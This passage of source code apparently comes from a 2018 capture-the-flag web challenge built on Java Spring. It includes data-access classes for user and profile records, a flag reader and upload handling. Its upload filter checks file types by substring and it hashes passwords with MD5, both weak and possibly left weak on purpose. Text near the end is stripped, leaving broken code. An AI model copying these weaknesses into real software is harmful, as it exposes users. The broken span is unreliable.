profile.setBirthday(rs.getString("birthday")); profile.setProvince(rs.getString("province")); profile.setNation(rs.getString("nation")); profile.setPolitics_status(rs.getString("politics_status")); profile.setIDnumber(rs.getString("IDnumber")); profile.setType(rs.getString("type")); profile.setSchool(rs.getString("school")); profile.setGrade(rs.getString("grade")); profile.setAddress(rs.getString("address")); profile.setPostcode(rs.getString("postcode")); profile.setHeight(rs.getString("height")); profile.setWeight(rs.getString("weight")); profile.setMail(rs.getString("mail")); profile.setFather_name(rs.getString("father_name")); profile.setFather_job(rs.getString("father_job")); profile.setFather_phone(rs.getString("father_phone")); profile.setMother_name(rs.getString("mother_name")); profile.setMother_job(rs.getString("mother_job")); profile.setMother_phone(rs.getString("mother_phone")); profile.setHobby(rs.getString("hobby")); profile.setDescription(rs.getString("description")); profile.setPhone(rs.getString("phone")); profile.setPhoto(rs.getString("photo")); } }); return profile; } public int addProfile(final Profile profile) { return jdbcTemplate.update(new PreparedStatementCreator() { public PreparedStatement createPreparedStatement(Connection connection) throws SQLException { PreparedStatement ps = connection.prepareStatement(INSERT_PROFILE_SQL); ps.setInt(1, profile.getUser_id()); ps.setString(2, profile.getName()); ps.setString(3, profile.getGender()); ps.setString(4, profile.getBirthday()); ps.setString(5, profile.getProvince()); ps.setString(6, profile.getNation()); ps.setString(7, profile.getPolitics_status()); ps.setString(8, profile.getIDnumber()); ps.setString(9, profile.getType()); ps.setString(10, profile.getSchool()); ps.setString(11, profile.getGrade()); ps.setString(12, profile.getAddress()); ps.setString(13, profile.getPostcode()); ps.setString(14, profile.getPhone()); ps.setString(15, profile.getHeight()); ps.setString(16, profile.getWeight()); ps.setString(17, profile.getMail()); ps.setString(18, profile.getFather_name()); ps.setString(19, profile.getFather_job()); ps.setString(20, profile.getFather_phone()); ps.setString(21, profile.getMother_name()); ps.setString(22, profile.getMother_job()); ps.setString(23, profile.getMother_phone()); ps.setString(24, profile.getHobby()); ps.setString(25, profile.getDescription()); ps.setString(26, profile.getPhoto()); return ps; } }); } public int editProfile(final Profile profile) { return jdbcTemplate.update(new PreparedStatementCreator() { public PreparedStatement createPreparedStatement(Connection connection) throws SQLException { PreparedStatement ps = connection.prepareStatement(UPDATE_PROFILE_SQL); ps.setInt(1, profile.getUser_id()); ps.setString(2, profile.getName()); ps.setString(3, profile.getGender()); ps.setString(4, profile.getBirthday()); ps.setString(5, profile.getProvince()); ps.setString(6, profile.getNation()); ps.setString(7, profile.getPolitics_status()); ps.setString(8, profile.getIDnumber()); ps.setString(9, profile.getType()); ps.setString(10, profile.getSchool()); ps.setString(11, profile.getGrade()); ps.setString(12, profile.getAddress()); ps.setString(13, profile.getPostcode()); ps.setString(14, profile.getPhone()); ps.setString(15, profile.getHeight()); ps.setString(16, profile.getWeight()); ps.setString(17, profile.getMail()); ps.setString(18, profile.getFather_name()); ps.setString(19, profile.getFather_job()); ps.setString(20, profile.getFather_phone()); ps.setString(21, profile.getMother_name()); ps.setString(22, profile.getMother_job()); ps.setString(23, profile.getMother_phone()); ps.setString(24, profile.getHobby()); ps.setString(25, profile.getDescription()); ps.setString(26, profile.getPhoto()); ps.setInt(27,profile.getId()); return ps; } }); } public int updateProfile(final Profile profile) { return jdbcTemplate.update(new PreparedStatementCreator() { public PreparedStatement createPreparedStatement(Connection connection) throws SQLException { PreparedStatement ps = connection.prepareStatement(UPDATE_PROFILE_SQL); ps.setInt(1, profile.getUser_id()); ps.setString(2, profile.getName()); ps.setString(3, profile.getGender()); ps.setString(4, profile.getBirthday()); ps.setString(5, profile.getProvince()); ps.setString(6, profile.getNation()); ps.setString(7, profile.getPolitics_status()); ps.setString(8, profile.getIDnumber()); ps.setString(9, profile.getType()); ps.setString(10, profile.getSchool()); ps.setString(11, profile.getGrade()); ps.setString(12, profile.getAddress()); ps.setString(13, profile.getPostcode()); ps.setString(14, profile.getPhone()); ps.setString(15, profile.getHeight()); ps.setString(16, profile.getWeight()); ps.setString(17, profile.getMail()); ps.setString(18, profile.getFather_name()); ps.setString(19, profile.getFather_job()); ps.setString(20, profile.getFather_phone()); ps.setString(21, profile.getMother_name()); ps.setString(22, profile.getMother_job()); ps.setString(23, profile.getMother_phone()); ps.setString(24, profile.getHobby()); ps.setString(25, profile.getDescription()); ps.setString(26,profile.getPhoto()); ps.setInt(27, profile.getId()); return ps; } }); } @Autowired public void setJdbcTemplate(JdbcTemplate jdbcTemplate) { this.jdbcTemplate = jdbcTemplate; } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/dao/UserDao.java ================================================ package com.bupt.dao; import com.bupt.domain.User; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.jdbc.core.JdbcTemplate; import org.springframework.jdbc.core.PreparedStatementCreator; import org.springframework.jdbc.core.RowCallbackHandler; import org.springframework.stereotype.Repository; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; @Repository public class UserDao { private JdbcTemplate jdbcTemplate; private final static String FIND_USER_SQL = " SELECT * FROM user " + " WHERE username =? and password=? "; private final static String UPDATE_INFO_SQL = " UPDATE user SET " + " password=?,score=?,checkcode=?,time=?,pdd=? WHERE id =?"; private final static String INSERT_USER_SQL = "INSERT INTO user(username, password, email, salt, first,pdd) VALUES(?,?,?,?,?,?)"; public int updateFirst(final int userId,final int first) { final String sql = " UPDATE user SET first=? WHERE id =?"; return jdbcTemplate.update(new PreparedStatementCreator() { public PreparedStatement createPreparedStatement(Connection connection) throws SQLException { PreparedStatement ps = connection.prepareStatement(sql); ps.setInt(1, first); ps.setInt(2, userId); return ps; } }); } public int updateEmail(final int userId,final String email) { final String sql = " UPDATE user SET email=? WHERE id =?"; return jdbcTemplate.update(new PreparedStatementCreator() { public PreparedStatement createPreparedStatement(Connection connection) throws SQLException { PreparedStatement ps = connection.prepareStatement(sql); ps.setString(1, email); ps.setInt(2, userId); return ps; } }); } public User findUserByEmail(final String email) { String sql = " SELECT * FROM user WHERE email =?"; final User user = new User(); jdbcTemplate.query(sql, new Object[] { email}, new RowCallbackHandler() { public void processRow(ResultSet rs) throws SQLException { user.setId(rs.getInt("id")); user.setUsername(rs.getString("username")); user.setPassword(rs.getString("password")); user.setEmail(rs.getString("email")); user.setSalt(rs.getString("salt")); user.setScore(rs.getInt("score")); user.setCheckcode(rs.getString("checkcode")); user.setTime(rs.getString("time")); user.setFirst(rs.getInt("first")); user.setPdd(rs.getString("pdd")); } }); return user; } public User findUserByUsername(final String username) { String sql = " SELECT * FROM user WHERE username =?"; final User user = new User(); jdbcTemplate.query(sql, new Object[] { username}, new RowCallbackHandler() { public void processRow(ResultSet rs) throws SQLException { user.setId(rs.getInt("id")); user.setUsername(rs.getString("username")); user.setPassword(rs.getString("password")); user.setEmail(rs.getString("email")); user.setSalt(rs.getString("salt")); user.setScore(rs.getInt("score")); user.setCheckcode(rs.getString("checkcode")); user.setTime(rs.getString("time")); user.setFirst(rs.getInt("first")); user.setPdd(rs.getString("pdd")); } }); return user; } public User findUserByUsernameAndPassword(final String username, final String password) { final User user = new User(); jdbcTemplate.query(FIND_USER_SQL, new Object[] { username, password}, new RowCallbackHandler() { public void processRow(ResultSet rs) throws SQLException { user.setId(rs.getInt("id")); user.setUsername(username); user.setEmail(rs.getString("email")); user.setSalt(rs.getString("salt")); user.setScore(rs.getInt("score")); user.setCheckcode(rs.getString("checkcode")); user.setTime(rs.getString("time")); user.setFirst(rs.getInt("first")); user.setPdd(rs.getString("pdd")); } }); return user; } public int addUser(final User user){ return jdbcTemplate.update(new PreparedStatementCreator() { public PreparedStatement createPreparedStatement(Connection connection) throws SQLException { PreparedStatement ps = connection.prepareStatement(INSERT_USER_SQL); ps.setString(1, user.getUsername()); ps.setString(2, user.getPassword()); ps.setString(3, user.getEmail()); ps.setString(4, user.getSalt()); ps.setInt(5, user.getFirst()); ps.setString(6,user.getPdd()); return ps; } }); } public int updateUser(final User user) { return jdbcTemplate.update(new PreparedStatementCreator() { public PreparedStatement createPreparedStatement(Connection connection) throws SQLException { PreparedStatement ps = connection.prepareStatement(UPDATE_INFO_SQL); ps.setString(1, user.getPassword()); ps.setInt(2, user.getScore()); ps.setString(3, user.getCheckcode()); ps.setString(4, user.getTime()); ps.setString(5,user.getPdd()); ps.setInt(6, user.getId()); return ps; } }); } @Autowired public void setJdbcTemplate(JdbcTemplate jdbcTemplate) { this.jdbcTemplate = jdbcTemplate; } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/domain/Flag.java ================================================ package com.bupt.domain; import java.io.*; public class Flag { public String flag = "Null"; public String path = "/flag/flag"; public static String flag2String(String path){ File file = new File(path); StringBuilder result = new StringBuilder(); try{ BufferedReader br = new BufferedReader(new FileReader(file)); String s = null; while((s = br.readLine())!=null){ result.append(System.lineSeparator()+s); } br.close(); }catch(Exception e){ e.printStackTrace(); } return result.toString(); } public void setFlag(){ flag = flag2String(path); } public String getFlag(){ return flag.trim(); } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/domain/LoginLog.java ================================================ package com.bupt.domain; import java.io.Serializable; import java.util.Date; /** */ public class LoginLog implements Serializable { private int loginLogId; private int userId; private String ip; private Date loginDate; public int getLoginLogId() { return loginLogId; } public void setLoginLogId(int loginLogId) { this.loginLogId = loginLogId; } public int getUserId() { return userId; } public void setUserId(int userId) { this.userId = userId; } public String getIp() { return ip; } public void setIp(String ip) { this.ip = ip; } public Date getLoginDate() { return loginDate; } public void setLoginDate(Date loginDate) { this.loginDate = loginDate; } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/domain/Profile.java ================================================ package com.bupt.domain; import java.io.Serializable; public class Profile implements Serializable { public int id; public int user_id; public String name; public String gender; public String birthday; public String province; public String nation; public String politics_status; public String IDnumber; public String type; public String school; public String grade; public String address; public String postcode; public String phone; public String height; public String weight; public String mail; public String father_name; public String father_job; public String father_phone; public String mother_name; public String mother_job; public String mother_phone; public String hobby; public String description; public String photo; @Override public String toString() { return "Profile{" + "id=" + id + ", user_id=" + user_id + ", name='" + name + '\'' + ", gender='" + gender + '\'' + ", birthday='" + birthday + '\'' + ", province='" + province + '\'' + ", nation='" + nation + '\'' + ", politics_status='" + politics_status + '\'' + ", type='" + type + '\'' + ", school='" + school + '\'' + ", grade='" + grade + '\'' + ", address='" + address + '\'' + ", postcode='" + postcode + '\'' + ", phone='" + phone + '\'' + ", height='" + height + '\'' + ", weight='" + weight + '\'' + ", mail='" + mail + '\'' + ", father_name='" + father_name + '\'' + ", father_job='" + father_job + '\'' + ", father_phone='" + father_phone + '\'' + ", mother_name='" + mother_name + '\'' + ", mother_job='" + mother_job + '\'' + ", mother_phone='" + mother_phone + '\'' + ", hobby='" + hobby + '\'' + ", description='" + description + '\'' + '}'; } public String getIDnumber() { return IDnumber; } public void setIDnumber(String IDnumber) { this.IDnumber = IDnumber; } public int getId() { return id; } public void setId(int id) { this.id = id; } public int getUser_id() { return user_id; } public void setUser_id(int user_id) { this.user_id = user_id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getGender() { return gender; } public void setGender(String gender) { this.gender = gender; } public String getBirthday() { return birthday; } public void setBirthday(String birthday) { this.birthday = birthday; } public String getProvince() { return province; } public void setProvince(String province) { this.province = province; } public String getNation() { return nation; } public void setNation(String nation) { this.nation = nation; } public String getPolitics_status() { return politics_status; } public void setPolitics_status(String politics_status) { this.politics_status = politics_status; } public String getType() { return type; } public void setType(String type) { this.type = type; } public String getSchool() { return school; } public void setSchool(String school) { this.school = school; } public String getGrade() { return grade; } public void setGrade(String grade) { this.grade = grade; } public String getAddress() { return address; } public void setAddress(String address) { this.address = address; } public String getPostcode() { return postcode; } public void setPostcode(String postcode) { this.postcode = postcode; } public String getPhone() { return phone; } public void setPhone(String phone) { this.phone = phone; } public String getHeight() { return height; } public void setHeight(String height) { this.height = height; } public String getWeight() { return weight; } public void setWeight(String weight) { this.weight = weight; } public String getMail() { return mail; } public void setMail(String mail) { this.mail = mail; } public String getFather_name() { return father_name; } public void setFather_name(String father_name) { this.father_name = father_name; } public String getFather_job() { return father_job; } public void setFather_job(String father_job) { this.father_job = father_job; } public String getFather_phone() { return father_phone; } public void setFather_phone(String father_phone) { this.father_phone = father_phone; } public String getMother_name() { return mother_name; } public void setMother_name(String mother_name) { this.mother_name = mother_name; } public String getMother_job() { return mother_job; } public void setMother_job(String mother_job) { this.mother_job = mother_job; } public String getMother_phone() { return mother_phone; } public void setMother_phone(String mother_phone) { this.mother_phone = mother_phone; } public String getHobby() { return hobby; } public void setHobby(String hobby) { this.hobby = hobby; } public String getDescription() { return description; } public void setDescription(String description) { this.description = description; } public String getPhoto() { return photo; } public void setPhoto(String photo) { this.photo = photo; } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/domain/User.java ================================================ package com.bupt.domain; import java.io.Serializable; /** */ public class User implements Serializable{ public int id; public String username; public String password; public String email; public String salt; public String head_url; public int score; public String checkcode; public String time; public int first; public String pdd; public static final int UNSUBMITTED = 0; public static final int SUBMITTED = 1; public static final int ADMIN = 2; public int getFirst() { return first; } public void setFirst(int first) { this.first = first; } public String getCheckcode() { return checkcode; } public void setCheckcode(String checkcode) { this.checkcode = checkcode; } public String getTime() { return time; } public void setTime(String time) { this.time = time; } public int getScore() { return score; } public void setScore(int score) { this.score = score; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } public String getEmail() { return email; } public void setEmail(String email) { this.email = email; } public String getSalt() { return salt; } public void setSalt(String salt) { this.salt = salt; } public String getHead_url() { return head_url; } public void setHead_url(String head_url) { this.head_url = head_url; } public String getPdd() { return pdd; } public void setPdd(String pdd) { this.pdd = pdd; } @Override public String toString() { return "User{" + "id=" + id + ", username='" + username + '\'' + ", password='" + password + '\'' + ", email='" + email + '\'' + ", salt='" + salt + '\'' + ", head_url='" + head_url + '\'' + ", score=" + score + ", checkcode='" + checkcode + '\'' + ", time='" + time + '\'' + ", first=" + first + ", pdd='" + pdd + '\'' + '}'; } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/exception/CustomException.java ================================================ package com.bupt.exception; public class CustomException extends Exception { public String message; public CustomException(String message) { super(message); this.message=message; } public String getMessage() { return message; } public void setMessage(String message) { this.message = message; } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/exception/CustomExceptionResolver.java ================================================ package com.bupt.exception; import org.springframework.web.servlet.HandlerExceptionResolver; import org.springframework.web.servlet.ModelAndView; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class CustomExceptionResolver implements HandlerExceptionResolver { public ModelAndView resolveException(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse, Object o, Exception e) { ModelAndView modelAndView = new ModelAndView(); CustomException customException; String message = "exception"; System.out.println("com.bupt.exception.CustomExceptionResolver"); modelAndView.addObject("message", message); modelAndView.setViewName("error"); return modelAndView; } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/exception/ParamException.java ================================================ package com.bupt.exception; public class ParamException extends RuntimeException { public ParamException() { super(); } public ParamException(String message) { super(message); } public ParamException(String message, Throwable cause) { super(message, cause); } public ParamException(Throwable cause) { super(cause); } protected ParamException(String message, Throwable cause, boolean enableSuppression, boolean writableStackTrace) { super(message, cause, enableSuppression, writableStackTrace); } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/exception/PermissionException.java ================================================ package com.bupt.exception; public class PermissionException extends RuntimeException { public PermissionException() { super(); } public PermissionException(String message) { super(message); } public PermissionException(String message, Throwable cause) { super(message, cause); } public PermissionException(Throwable cause) { super(cause); } protected PermissionException(String message, Throwable cause, boolean enableSuppression, boolean writableStackTrace) { super(message, cause, enableSuppression, writableStackTrace); } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/interceptor/FileTypeInterceptor.java ================================================ package com.bupt.interceptor; import org.springframework.web.multipart.MultipartFile; import org.springframework.web.multipart.MultipartHttpServletRequest; import org.springframework.web.servlet.handler.HandlerInterceptorAdapter; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.util.Iterator; import java.util.Map; /** */ public class FileTypeInterceptor extends HandlerInterceptorAdapter { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)throws Exception { boolean flag= true; if (request instanceof MultipartHttpServletRequest) { MultipartHttpServletRequest multipartRequest = (MultipartHttpServletRequest) request; Map files = multipartRequest.getFileMap(); Iterator iterator = files.keySet().iterator(); while (iterator.hasNext()) { String formKey = (String) iterator.next(); MultipartFile multipartFile = multipartRequest.getFile(formKey); String filename=multipartFile.getOriginalFilename(); System.out.println("fileSize:"+multipartFile.getSize()); if (! checkFile(filename)) { request.setAttribute("message", "不支持的文件类型!"); request.getRequestDispatcher("/WEB-INF/jsp/error.jsp") .forward(request, response); flag= false; } else if(multipartFile.getSize()>4*1024*1000){//文件不能超过4M System.out.println("fileSize:"+multipartFile.getSize()); request.setAttribute("message", "上传文件大小超过4M的大小限制!"); request.getRequestDispatcher("/WEB-INF/jsp/error.jsp") .forward(request, response); flag= false; } } } return flag; } /** */ private boolean checkFile(String fileName) { //设置允许上传文件类型 String suffixList = "jpg,png,jpeg"; // 获取文件后缀 String suffix = fileName.substring(fileName.lastIndexOf(".") + 1, fileName.length()); if (suffixList.contains(suffix.trim().toLowerCase())) { return true; } return false; } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/interceptor/LoginInterceptor.java ================================================ package com.bupt.interceptor; import com.bupt.utils.SystemDateTimeChecker; import org.springframework.web.servlet.HandlerInterceptor; import org.springframework.web.servlet.ModelAndView; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; public class LoginInterceptor implements HandlerInterceptor { public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception exc) throws Exception { } public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { } public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String url = request.getRequestURI(); HttpSession session = request.getSession(); String username = (String) session.getAttribute("username"); if (username != null) { return true; } request.setAttribute("message","请登录!"); request.getRequestDispatcher("/WEB-INF/jsp/login.jsp").forward(request, response); return false; } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/service/UserService.java ================================================ package com.bupt.service; import com.bupt.canstants.Canstants; import com.bupt.dao.UserDao; import com.bupt.domain.LoginLog; import com.bupt.domain.User; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; import java.security.NoSuchAlgorithmException; /** */ @Service public class UserService { private UserDao userDao; public String registerPerson(User person) { if(null ==person.getUsername() || null ==person.getPassword() || null ==person.getEmail()){ return Canstants.regFail; } return null; } @Autowired public void setUserDao(UserDao userDao) { this.userDao = userDao; } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/service/upload/Thumbnail.java ================================================ package com.bupt.service.upload; import net.coobird.thumbnailator.Thumbnails; import org.springframework.stereotype.Service; import org.springframework.web.multipart.MultipartFile; import java.io.File; import java.io.IOException; @Service public class Thumbnail { public static final int witdth=150; public static final int heigth=150; /* */ public String generateThumbnail(MultipartFile file, String realUploadPath,String uuidFileName) throws IOException { File uploadFile=new File(realUploadPath+"/thumbImages"); if(!uploadFile.exists()){ uploadFile.mkdirs(); } String fileName = file.getOriginalFilename(); String suffix = fileName.substring(fileName.lastIndexOf(".") + 1); String des=realUploadPath+"/thumbImages/"+uuidFileName+"."+suffix; Thumbnails.of(file.getInputStream()).size(witdth, heigth).toFile(des); return "images/thumbImages/"+uuidFileName+"."+suffix; } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/service/upload/Upload.java ================================================ package com.bupt.service.upload; import org.springframework.stereotype.Service; import org.springframework.web.multipart.MultipartFile; import java.io.*; @Service public class Upload { /* */ public String uploadImage(MultipartFile file, String realUploadPath, String uuidFileName) throws IOException { File uploadFile=new File(realUploadPath+"/rawImages"); if(!uploadFile.exists()){ uploadFile.mkdirs(); } String fileName = file.getOriginalFilename(); String suffix = fileName.substring(fileName.lastIndexOf(".") + 1); ; InputStream inputStream=file.getInputStream(); String outputPath=realUploadPath+"/rawImages/"+uuidFileName+"."+suffix; OutputStream outputStream=new FileOutputStream(outputPath); byte[] buffer=new byte[1024]; while((inputStream.read(buffer))>0) { outputStream.write(buffer); } outputStream.close(); return "images/rawImages/"+uuidFileName+"."+suffix; } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/utils/AuthImage.java ================================================ package com.bupt.utils; import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; public class AuthImage extends javax.servlet.http.HttpServlet implements javax.servlet.Servlet { static final long serialVersionUID = 1L; public void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { System.out.println("verCode"); response.setHeader("Pragma", "No-cache"); response.setHeader("Cache-Control", "no-cache"); response.setDateHeader("Expires", 0); response.setContentType("image/jpeg"); String verifyCode = VerifyCodeUtils.generateVerifyCode(4); HttpSession session = request.getSession(true); session.removeAttribute("verCode"); session.setAttribute("verCode", verifyCode.toLowerCase()); int w = 100, h = 30; VerifyCodeUtils.outputImage(w, h, response.getOutputStream(), verifyCode); } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/utils/Check.java ================================================ package com.bupt.utils; import com.bupt.domain.Profile; import java.util.regex.Matcher; import java.util.regex.Pattern; public class Check { public static String removeIllegalChar(String str) { return str.replace('<', ' ').replace('>', ' '); } public static boolean checkProfile(Profile profile){ try { if (profile.getName() == null || profile.getName().trim().equals("")) { System.out.println('1'); return false; } if (profile.getGender() == null || profile.getGender().trim().equals("") ||!( profile.getGender().equals("男") ||profile.getGender().equals("女") )){ System.out.println('1'); return false; } if (profile.getBirthday() == null || profile.getBirthday().trim().equals("")) { System.out.println('2'); System.out.println(profile.getBirthday()); return false; } if (profile.getType() == null || profile.getType().trim().equals("") || !( profile.getType().equals("理科") || profile.getType().equals("文科") || profile.getType().equals("综合改革") )){ System.out.println('3'); return false; } if (profile.getPhone() == null || profile.getPhone().trim().equals("") || !checkCellphone(profile.getPhone())) { System.out.println('4'); return false; } if (profile.getMail() == null || profile.getMail().trim().equals("") || !checkEmail(profile.getMail())) { System.out.println('5'); return false; } if (profile.getHobby().length() > 200) { System.out.println('6'); return false; } if (profile.getDescription().length() > 600) { System.out.println('7'); return false; } }catch (Exception e){ return false; } return true; } static boolean flag = false; static String regex = ""; public static boolean check(String str, String regex) { try { Pattern pattern = Pattern.compile(regex); Matcher matcher = pattern.matcher(str); flag = matcher.matches(); } catch (Exception e) { flag = false; } return flag; } /** * 匹配密码 */ public static boolean isPwd(String str) { regex = "^[a-zA-Z]\\w{6,12}$"; return check(str, regex) ? false : true; } /** * 验证非空 * * @return */ public static boolean checkNotEmputy(String notEmputy) { if(notEmputy==null||notEmputy.trim().equals("")){ return false; } regex = "^\\s*$"; return check(notEmputy, regex) ? false : true; } /** * 验证邮箱 * * @param email * @return */ public static boolean checkEmail(String email) { String regex = "^([A-Za-z0-9_\\-\\.])+\\@([A-Za-z0-9_\\-\\.])+\\.([A-Za-z]{2,4})$"; return check(email, regex); } /** * 验证手机号码 *

      * 移动号码段:139、138、137、136、135、134、150、151、152、157、158、159、182、183、187、188、147 * 联通号码段:130、131、132、136、185、186、145 * 电信号码段:133、153、180、189 * * @param cellphone * @return */ public static boolean checkCellphone(String cellphone) { String regex = "^1[34578]\\d{9}$"; return check(cellphone, regex); } /** * 验证固话号码 * * @param telephone * @return */ public static boolean checkTelephone(String telephone) { String regex = "^(0\\d{2}-\\d{8}(-\\d{1,4})?)|(0\\d{3}-\\d{7,8}(-\\d{1,4})?)$"; return check(telephone, regex); } public static boolean checkUserName(String username){ if(username==null){ return false; } String reg = "^[0-9a-zA-Z@.+\\-_]{1,30}$"; return Pattern.matches(reg, username); } public static boolean checkPassword(String password){ if(password==null){ return false; } String reg = "^[0-9a-zA-Z]{6,12}$"; return Pattern.matches(reg, password); } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/utils/MD5Util.java ================================================ package com.bupt.utils; import java.security.MessageDigest; public class MD5Util { public static String getPasswordMD5(String password, String salt) { return getMD5(password + salt); } public static String getMD5(String message) { String md5 = ""; try { MessageDigest md = MessageDigest.getInstance("MD5"); // 创建一个md5算法对象 byte[] messageByte = message.getBytes("UTF-8"); byte[] md5Byte = md.digest(messageByte); // 获得MD5字节数组,16*8=128位 md5 = bytesToHex(md5Byte); // 转换为16进制字符串 } catch (Exception e) { e.printStackTrace(); } return md5; } // 二进制转十六进制 public static String bytesToHex(byte[] bytes) { StringBuffer hexStr = new StringBuffer(); int num; for (int i = 0; i < bytes.length; i++) { num = bytes[i]; if(num < 0) { num += 256; } if(num < 16){ hexStr.append("0"); } hexStr.append(Integer.toHexString(num)); } return hexStr.toString().toUpperCase(); } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/utils/MailUtil.java ================================================ package com.bupt.utils; import javax.mail.*; import javax.mail.internet.InternetAddress; import javax.mail.internet.MimeMessage; import java.io.InputStream; import java.util.Properties; public class MailUtil { private static final String PROPERTIES_DEFAULT = "sysConfig.properties"; private static Properties props; static { props = new Properties(); try{ InputStream inputStream = MailUtil.class.getClassLoader().getResourceAsStream(PROPERTIES_DEFAULT); props.load(inputStream); inputStream.close(); }catch (Exception e) { e.printStackTrace(); } } /** * @param to 接收方地址 * @param title 邮件标题 * @param content 邮件内容 * @throws Exception */ public static void sendMail(String to,String title,String content)throws Exception{ final String username = props.getProperty("mail.username"); final String password = props.getProperty("mail.password"); Session session = Session.getInstance(props,new Authenticator() { public PasswordAuthentication getPasswordAuthentication(){ return new PasswordAuthentication(username, password); } }); //2.创建邮件对象 Message message = new MimeMessage(session); //2.1 设置发件人 message.setFrom(new InternetAddress(username)); //2.2设置收件人 message.addRecipient(Message.RecipientType.CC, new InternetAddress(username)); message.addRecipient(Message.RecipientType.TO, new InternetAddress(to)); //2.3设置主题 message.setSubject(title); // 加载标题 //2.4 设置内容 message.setContent(content, "text/html;charset=utf-8"); // 3.创建 Transport用于将邮件发送 Transport.send(message); } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/utils/ProfileExcelExportUtils.java ================================================ package com.bupt.utils; import com.bupt.domain.Profile; import org.apache.poi.hssf.usermodel.*; import java.io.File; import java.io.FileOutputStream; import java.util.List; /** */ public class ProfileExcelExportUtils { private static final String[] title = { "编号","姓名","性别","出生年月","省份","民族","政治面貌","身份证号", "类型","学校","年级","通信地址","邮编","联系电话","身高","体重","邮箱", "父亲姓名","父亲职务","父亲联系电话","母亲姓名","母亲职务","母亲联系电话","兴趣爱好", "个人描述信息"};//标题名称 private static HSSFWorkbook workbook = null; private static HSSFCellStyle borderStyle = null; private static HSSFCellStyle pureTextCellStyle = null; /** * @param filePath 生成excel的文件路径 * @param profileList 数据源信息 * @return excel文件 */ public static File generateExcel(String filePath,List profileList) { File file = null; FileOutputStream fileOutputStream = null; try { //创建工作簿 workbook = new HSSFWorkbook(); //创建Sheet HSSFSheet sheet = workbook.createSheet(); setColumeWidth(sheet); //创建第一行 HSSFRow row = sheet.createRow(0); HSSFCell cell = null; //设置字体,样式格式 HSSFCellStyle style = setStyleAndFont(); //第一行设置列名 for(int i=0;i Map sendList(List T) { Map map = getInstanceMap(); map.put(PAGINATION_ROOT_PROPERTY_KEY, T); map.put(RESPONSE_SUCCESS_KEY, true); return map; } public static Map sendList(Map T) { Map map = getInstanceMap(); map.put(PAGINATION_ROOT_PROPERTY_KEY, T); map.put(RESPONSE_SUCCESS_KEY, true); return map; } public static Map sendSuccess(String text, Object... extra) { Map map = getInstanceMap(); map.put(RESPONSE_SUCCESS_KEY, true); map.put(RESPONSE_TEXT_KEY, text); if (extra.length > 0) { map.put(RESPONSE_EXTRA_KEY, extra); } return map; } public static Map sendFailure(String text) { Map map = getInstanceMap(); map.put(RESPONSE_FAILURE_KEY, true); map.put(RESPONSE_TEXT_KEY, text); return map; } public static Map sendFailure(String text, Object extra) { Map map = getInstanceMap(); map.put(RESPONSE_FAILURE_KEY, true); map.put(RESPONSE_TEXT_KEY, text); map.put(RESPONSE_EXTRA_KEY, extra); return map; } private static Map getInstanceMap() { return new HashMap(); } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/utils/SysConfigUtils.java ================================================ package com.bupt.utils; import java.io.InputStream; import java.util.Properties; /** */ public class SysConfigUtils { public static String noipLink; public static String ctfLink; public static String releaseState; public static String ctfEmail; private static final String PROPERTIES_DEFAULT = "sysConfig.properties"; private static Properties props; /** */ static { props = new Properties(); try{ InputStream inputStream = MailUtil.class.getClassLoader().getResourceAsStream(PROPERTIES_DEFAULT); props.load(inputStream); inputStream.close(); }catch (Exception e) { e.printStackTrace(); } noipLink = props.getProperty("competition.link.noip"); ctfLink = props.getProperty("competition.link.ctf"); releaseState = props.getProperty("competition.link.releaseState","false"); ctfEmail = props.getProperty("system.public.ctf.email",""); } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/utils/SystemDateTimeChecker.java ================================================ package com.bupt.utils; import java.io.InputStream; import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.Date; import java.util.Properties; public class SystemDateTimeChecker { public static final String from; public static final String to; public static final 